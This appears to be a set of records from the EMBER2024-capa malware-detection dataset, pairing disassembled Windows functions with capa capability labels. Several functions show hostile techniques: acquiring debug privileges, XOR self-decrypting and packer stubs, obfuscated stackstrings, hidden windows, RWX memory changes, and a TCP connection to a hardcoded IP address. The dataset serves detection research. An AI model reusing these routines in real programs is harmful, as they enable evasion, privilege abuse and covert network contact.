joyce8/EMBER2024-capa huggingface dataset:
Function at 0xf9f1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00f9f140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00f9f140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00f9f140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00f9f140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xf9fbfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xf9fc50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xfb187c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xf9fc43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xf9fc52
xor eax, eax
pop esi
leave
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x40d058], 1
mov dword [0x40d054], 1
mov dword [0x40d050], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40d00c], eax
mov eax, dword [0x40d064]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x40d078]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40d060]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x409014], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x4017e2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
mov eax, 0x1ad0
call fcn.00402cc0
sub esp, eax
mov dword [ebp - 0x1abb], 0x53496c46
mov dword [ebp - 0x1ab7], 0x4f4c6951
mov dword [ebp - 0x1ab3], 0x6b687874
mov dword [ebp - 0x1aaf], 0x64785951
mov dword [ebp - 0x1aab], 0x7751454f
mov dword [ebp - 0x1aa7], 0x4f6d4853
mov dword [ebp - 0x1aa3], 0x4654576f
mov dword [ebp - 0x1a9f], 0x68454b59
mov dword [ebp - 0x1a9b], 0x7a4f775a
mov dword [ebp - 0x1a97], 0x7859776a
mov dword [ebp - 0x1a93], 0x6f627858
mov dword [ebp - 0x1a8f], 0x50685179
mov dword [ebp - 0x1a8b], 0x6563
lea eax, [ebp - 0x1a87]
mov ecx, 0x1a7b
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1abb]
mov dword [esp], eax
call sym._strupr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlwr
add esp, 0x1ad0
pop ebx
pop edi
pop ebp
ret
Function at 0x4018c7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [esp], 0
call sym._time
mov dword [esp], eax
call sym._srand
mov dword [ebp - 0x4f], 0x3949506e
mov dword [ebp - 0x4b], 0x41775263
mov dword [ebp - 0x47], 0x53376954
mov dword [ebp - 0x43], 0x4a6c4f32
mov dword [ebp - 0x3f], 0x334d5935
mov dword [ebp - 0x3b], 0x4c61456a
mov dword [ebp - 0x37], 0x6866655a
mov dword [ebp - 0x33], 0x4b6b6746
mov dword [ebp - 0x2f], 0x56445147
mov dword [ebp - 0x2b], 0x7a765775
mov dword [ebp - 0x27], 0x6d305564
mov dword [ebp - 0x23], 0x38583431
mov dword [ebp - 0x1f], 0x6f4e7843
mov dword [ebp - 0x1b], 0x36717342
mov dword [ebp - 0x17], 0x74627279
mov dword [ebp - 0x14], 0x487074
mov dword [esp], 5
call main
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
add eax, 4
mov byte [eax], 0
mov dword [ebp - 0xc], 0
jmp 0x4019a3
call sym._rand
mov ecx, eax
mov eax, ecx
shr eax, 1
mov edx, 0x84210843
mul edx
mov eax, edx
shr eax, 4
imul edx, eax, 0x3e
mov eax, ecx
sub eax, edx
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
add edx, ecx
movzx eax, byte [ebp + eax - 0x4f]
mov byte [edx], al
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 2
jle 0x401972
mov dword [ebp - 0xc], 0
jmp 0x4019de
mov eax, dword [ebp - 0x10]
lea edx, [eax + 3]
lea ecx, [ebp - 0x4f]
mov eax, dword [ebp - 0xc]
add eax, ecx
movzx eax, byte [eax]
mov byte [edx], al
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._QHYaeSYHfm
cmp eax, 0x5c
jne 0x4019da
mov eax, dword [ebp - 0x10]
jmp 0x4019e8
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, 0x3e
jbe 0x4019b2
jmp 0x401969
leave
ret

Function at 0x401a14
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401a4f
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RNKZPDQPjMxUCPw
mov dword [esp], str.192.168.18.130
mov eax, dword [sym.imp.WSOCK32.DLL_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401a74
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RNKZPDQPjMxUCPw
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov dword [esp], 0x50
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x401ae5
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RNKZPDQPjMxUCPw
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4010f0
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [0x40332c], eax
lea ecx, [ebp - 4]
push eax
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
mov eax, dword [ebp + 4]
mov dword [0x40319f], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401121
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x40319f]
mov dword [ebp - 0x48], eax
mov eax, 0x401b7b
mov dword [ebp - 0x54], eax
mov ecx, 0x4030bd
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push 0
push str.Riched32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor ecx, ecx
push ecx
push dword [0x40319f]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.bananas
push eax
mov eax, str.secondclass
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [0x403378], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403378]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4011d9
push edi
call dword [sym.imp.USER32.dll_TranslateMessage]
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4011cb
mov esp, ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x100091e0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x18
mov edx, dword [esp + 0x20]
test edx, edx
jbe 0x100092ef
xor ecx, ecx
mov edx, 0x240
mov eax, dword [esp + 0x1c]
mov dword [esp + 0xc], esi
mov dword [esp], ebp
mov dword [esp + 8], edi
mov edi, eax
mov dword [esp + 4], ebx
mov ebx, ecx
mov ebp, dword [esp + 0x28]
mov eax, 0xffffff40
mov esi, dword [esp + 0x24]
mov ecx, dword [esi + ebx*4]
cmp ecx, 0xffffff40
push dword [ebp + ebx*4]
cmovl ecx, eax
cmp ecx, 0x240
push dword [edi + ebx*4 + 0xa0]
cmovge ecx, edx
mov dword [edi + ebx*4], ecx
push dword [edi + 0x1e8]
call fcn.100185d0
fstp dword [esp + 0x1c]
mov eax, 0xffffff40
movss xmm3, dword [esp + 0x1c]
mov edx, 0x240
add esp, 0xc
movss dword [edi + ebx*4 + 0xa0], xmm3
mulss xmm3, dword [0x103424a4]
movss xmm2, dword [0x103424a8]
andps xmm2, xmm3
movaps xmm1, xmm2
movss xmm0, dword [0x103424ac]
pxor xmm1, xmm3
cmpltss xmm1, xmm0
andps xmm0, xmm1
orps xmm0, xmm2
movaps xmm5, xmm0
addss xmm5, xmm3
subss xmm5, xmm0
movaps xmm4, xmm5
subss xmm4, xmm3
movss xmm3, dword [0x103424b0]
cmpnless xmm4, xmm2
andps xmm4, xmm3
subss xmm5, xmm4
cvtss2si ecx, xmm5
cmp ecx, 0xffffff40
cmovl ecx, eax
cmp ecx, 0x240
cmovge ecx, edx
mov dword [edi + ebx*4 + 0x50], ecx
inc ebx
cmp ebx, dword [esp + 0x20]
jb 0x1000921a
mov esi, dword [esp + 0xc]
mov edi, dword [esp + 8]
mov ebx, dword [esp + 4]
mov ebp, dword [esp]
add esp, 0x18
ret
Function at 0x100214c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
sub esp, 0x24
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax + 4]
test ecx, ecx
mov ebp, dword [eax + 8]
mov edx, dword [eax]
jbe 0x10021506
mov dword [esp + 0x1c], ebp
xor eax, eax
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
mov ebx, dword [edx + eax*4]
cmp ebx, 1
je 0x100215c9
cmp ebx, 0xffffffff
je 0x1002150b
inc eax
cmp ecx, eax
ja 0x100214e5
mov esi, dword [esp]
mov edi, dword [esp + 4]
mov ebx, dword [esp + 8]
add esp, 0x24
pop ebp
ret
mov esi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x30]
mov dword [esp + 0xc], 0
movsx ebp, byte [eax + esi]
shl ebp, 4
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 0xc]
mov edi, dword [ebp + ebx + 4]
mov dword [esp + 0x10], edi
mov edi, dword [ebp + ebx + 8]
mov esi, dword [ebp + ebx]
mov ebx, dword [ebp + ebx + 0xc]
mov ebp, dword [esp + 0x10]
mov edx, edi
nop dword [eax + eax]
mov edi, dword [esi + ecx*8 + 4]
movss xmm0, dword [esi + ecx*8]
movss xmm1, dword [ebp + ecx*8]
movss xmm2, dword [edx + ecx*8]
movss xmm3, dword [ebx + ecx*8]
mov dword [esi + ecx*8], edi
mov edi, dword [ebp + ecx*8 + 4]
mov dword [ebp + ecx*8], edi
mov edi, dword [edx + ecx*8 + 4]
mov dword [edx + ecx*8], edi
mov edi, dword [ebx + ecx*8 + 4]
xorps xmm0, xmmword [0x1035ecd0]
xorps xmm1, xmmword [0x1035ecd0]
xorps xmm2, xmmword [0x1035ecd0]
xorps xmm3, xmmword [0x1035ecd0]
mov dword [ebx + ecx*8], edi
movss dword [esi + ecx*8 + 4], xmm0
movss dword [ebp + ecx*8 + 4], xmm1
movss dword [edx + ecx*8 + 4], xmm2
movss dword [ebx + ecx*8 + 4], xmm3
inc ecx
cmp ecx, 0x4d
jb 0x10021550
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
jmp 0x100214f6
mov esi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x30]
mov dword [esp + 0x14], edx
movsx ebp, byte [eax + esi]
shl ebp, 4
mov dword [esp + 0x18], ecx
mov edi, dword [ebp + ebx]
mov dword [esp + 0x20], edi
mov edi, dword [ebp + ebx + 4]
mov esi, dword [ebp + ebx + 8]
mov ebp, dword [ebp + ebx + 0xc]
xor ebx, ebx
mov edx, dword [esp + 0x20]
nop word [eax + eax]
mov ecx, dword [edx + ebx*8]
movss xmm0, dword [edx + ebx*8 + 4]
movss xmm1, dword [edi + ebx*8 + 4]
movss xmm2, dword [esi + ebx*8 + 4]
movss xmm3, dword [ebp + ebx*8 + 4]
mov dword [edx + ebx*8 + 4], ecx
mov ecx, dword [edi + ebx*8]
mov dword [edi + ebx*8 + 4], ecx
mov ecx, dword [esi + ebx*8]
mov dword [esi + ebx*8 + 4], ecx
mov ecx, dword [ebp + ebx*8]
xorps xmm0, xmmword [0x1035ecd0]
xorps xmm1, xmmword [0x1035ecd0]
xorps xmm2, xmmword [0x1035ecd0]
xorps xmm3, xmmword [0x1035ecd0]
mov dword [ebp + ebx*8 + 4], ecx
movss dword [edx + ebx*8], xmm0
movss dword [edi + ebx*8], xmm1
movss dword [esi + ebx*8], xmm2
movss dword [ebp + ebx*8], xmm3
inc ebx
cmp ebx, 0x4d
jb 0x10021600
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
jmp 0x100214f6
Function at 0x100345b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.10033689
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.1003363e
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.10033679
hlt
Function at 0x1003d1d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push esi
push edi
push ebx
sub esp, 0xf4
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esp + 0x10], 0
mov dword [esp + 0x70], 1
jbe 0x1003d2fe
mov ebx, dword [ebp + 0xc]
cmp eax, 0xb
mov edx, dword [ebp + 0x10]
jb 0x1003d3ca
mov edi, 1
lea ecx, [eax + 5]
and ecx, 7
mov esi, dword [edx]
neg ecx
mov dword [esp + 0x14], esi
add ecx, eax
mov esi, dword [ebx]
test esi, esi
cmovne esi, edi
mov edi, dword [edx + 4]
mov dword [esp + 0x74], esi
mov dword [esp + 0x18], edi
cmp dword [ebx + 4], 0
je 0x1003d240
mov dword [esp + 0x78], 1
jmp 0x1003d248
mov dword [esp + 0x78], 0
mov esi, dword [edx + 8]
mov dword [esp + 0x1c], esi
cmp dword [ebx + 8], 0
je 0x1003d25f
mov dword [esp + 0x7c], 1
jmp 0x1003d267
mov dword [esp + 0x7c], 0
mov esi, 3
pcmpeqd xmm0, xmm0
movdqu xmm3, xmmword [ebx + esi*4]
movdqu xmm7, xmmword [ebx + esi*4 + 0x10]
movups xmm1, xmmword [edx + esi*4]
movups xmm5, xmmword [edx + esi*4 + 0x10]
pxor xmm2, xmm2
pxor xmm6, xmm6
pcmpeqd xmm3, xmm2
pcmpeqd xmm7, xmm6
movaps xmmword [esp + esi*4 + 0x14], xmm1
pxor xmm3, xmm0
pxor xmm4, xmm4
pxor xmm7, xmm0
pxor xmm1, xmm1
psubd xmm4, xmm3
psubd xmm1, xmm7
movdqa xmmword [esp + esi*4 + 0x74], xmm4
movaps xmmword [esp + esi*4 + 0x24], xmm5
movdqa xmmword [esp + esi*4 + 0x84], xmm1
add esi, 8
cmp esi, ecx
jb 0x1003d270
cmp ecx, eax
jae 0x1003d3d3
mov esi, dword [edx + ecx*4]
mov dword [esp + ecx*4 + 0x14], esi
cmp dword [ebx + ecx*4], 0
je 0x1003d2eb
mov dword [esp + ecx*4 + 0x74], 1
jmp 0x1003d2f3
mov dword [esp + ecx*4 + 0x74], 0
inc ecx
cmp ecx, eax
jb 0x1003d2d4
mov esi, ecx
test eax, eax
jmp 0x1003d303
mov esi, 0
mov dword [esp + esi*4 + 0x14], 0
mov dword [esp + esi*4 + 0x74], 1
jbe 0x1003d3bd
xor ebx, ebx
movss xmm1, dword [esp + 0x14]
movss xmm0, dword [esp + 0x10]
mov esi, dword [esp + 0x74]
mov edx, dword [esp + 0x70]
mov edi, dword [esp + ebx*4 + 0x78]
movss xmm2, dword [esp + ebx*4 + 0x18]
movss dword [esp + 0x68], xmm2
lea eax, [edi + esi*2]
lea ecx, [eax + edx*4]
lea edx, [ecx*8]
movss xmm4, dword [edx + ecx*4 + 0x1036b908]
movss xmm3, dword [edx + ecx*4 + 0x1036b904]
mulss xmm4, xmm2
mulss xmm3, xmm1
mulss xmm0, dword [edx + ecx*4 + 0x1036b900]
addss xmm4, xmm3
addss xmm4, xmm0
movaps xmm0, xmm1
minss xmm0, xmm4
cvtss2sd xmm0, xmm0
movsd qword [esp], xmm0
mov dword [esp + 8], 1
movss dword [esp + 0x6c], xmm1
call fcn.10009ad0
mov eax, dword [ebp + 0x14]
mov edx, esi
movss xmm1, dword [esp + 0x6c]
mov esi, edi
movaps xmm0, xmm1
fstp dword [eax + ebx*4]
inc ebx
movss xmm1, dword [esp + 0x68]
cmp ebx, dword [ebp + 8]
jb 0x1003d32f
add esp, 0xf4
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
xor esi, esi
xor ecx, ecx
jmp 0x1003d2cc
test eax, eax
jmp 0x1003d303
Function at 0x100493a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [0x103e8020]
jmp dword [eax*4 + 0x103e32a0]

Function at 0x100493b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [0x103e8020]
jmp dword [eax*4 + 0x103e32bc]
Function at 0x100b32f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffe0
push esi
push edi
sub esp, 0xf8
mov edx, dword [0x103e1e90]
xor edx, esp
mov dword [esp + 0xe0], edx
mov edx, 0xc0
vmovups xmm0, xmmword [0x1039dcf0]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
vmovups xmmword [esp + 0xd0], xmm0
vmovups xmm0, xmmword [edx + 0x1039dc20]
vmovups xmmword [esp + edx], xmm0
vmovups xmm1, xmmword [edx + 0x1039dc10]
vmovups xmmword [esp + edx - 0x10], xmm1
vmovups xmm2, xmmword [edx + 0x1039dc00]
vmovups xmmword [esp + edx - 0x20], xmm2
vmovups xmm3, xmmword [edx + 0x1039dbf0]
vmovups xmmword [esp + edx - 0x30], xmm3
sub edx, 0x40
jne 0x100b3329
vmovups xmm0, xmmword [0x1039dc20]
vmovups xmmword [esp], xmm0
vbroadcastss ymm2, dword [ecx]
mov edi, ecx
vmovups ymm0, ymmword [0x1039dd00]
and edi, 0x1e
vmovaps ymm1, ymm2
test cl, 3
jne 0x100b33f4
test edi, edi
je 0x100b33c2
shr edi, 2
neg edi
lea esi, [edi + 8]
cmp eax, esi
jl 0x100b33c2
mov edx, esi
sub eax, esi
shl edx, 5
lea esi, [edi*4 + 0x20]
vmovups ymm4, ymmword [esp + edx - 0x20]
vmaskmovps ymm3, ymm4, ymmword [ecx]
add ecx, esi
vblendvps ymm5, ymm0, ymm3, ymm4
vmaxps ymm2, ymm2, ymm5
mov edi, eax
and edi, 0xf
mov edx, edi
sar eax, 4
and edx, 7
test eax, eax
jle 0x100b33e6
xor esi, esi
inc esi
vmaxps ymm2, ymm2, ymmword [ecx]
vmaxps ymm1, ymm1, ymmword [ecx + 0x20]
add ecx, 0x40
cmp esi, eax
jl 0x100b33d5
vmaxps ymm4, ymm2, ymm1
test edi, 0xfffffff8
jne 0x100b3424
jmp 0x100b342b
mov edi, eax
and edi, 0xf
mov edx, edi
sar eax, 4
and edx, 7
test eax, eax
jle 0x100b3418
xor esi, esi
inc esi
vmaxps ymm2, ymm2, ymmword [ecx]
vmaxps ymm1, ymm1, ymmword [ecx + 0x20]
add ecx, 0x40
cmp esi, eax
jl 0x100b3407
vmaxps ymm4, ymm2, ymm1
test edi, 0xfffffff8
je 0x100b342b
vmaxps ymm4, ymm4, ymmword [ecx]
add ecx, 0x20
test edx, edx
je 0x100b3447
shl edx, 5
vmovups ymm2, ymmword [esp + edx - 0x20]
vmaskmovps ymm1, ymm2, ymmword [ecx]
vblendvps ymm3, ymm0, ymm1, ymm2
vmaxps ymm4, ymm4, ymm3
vperm2f128 ymm1, ymm4, ymm0, 0x21
vmaxps ymm2, ymm4, ymm1
vshufps ymm3, ymm2, ymm0, 0x4e
vmaxps ymm4, ymm2, ymm3
vshufps ymm0, ymm4, ymm0, 1
vmaxps ymm5, ymm4, ymm0
mov eax, dword [ebp + 0x10]
vmovss dword [eax], xmm5
mov ecx, dword [esp + 0xe0]
xor ecx, esp
vzeroupper
call fcn.10295946
add esp, 0xf8
pop edi
pop esi
mov esp, ebp
pop ebp
ret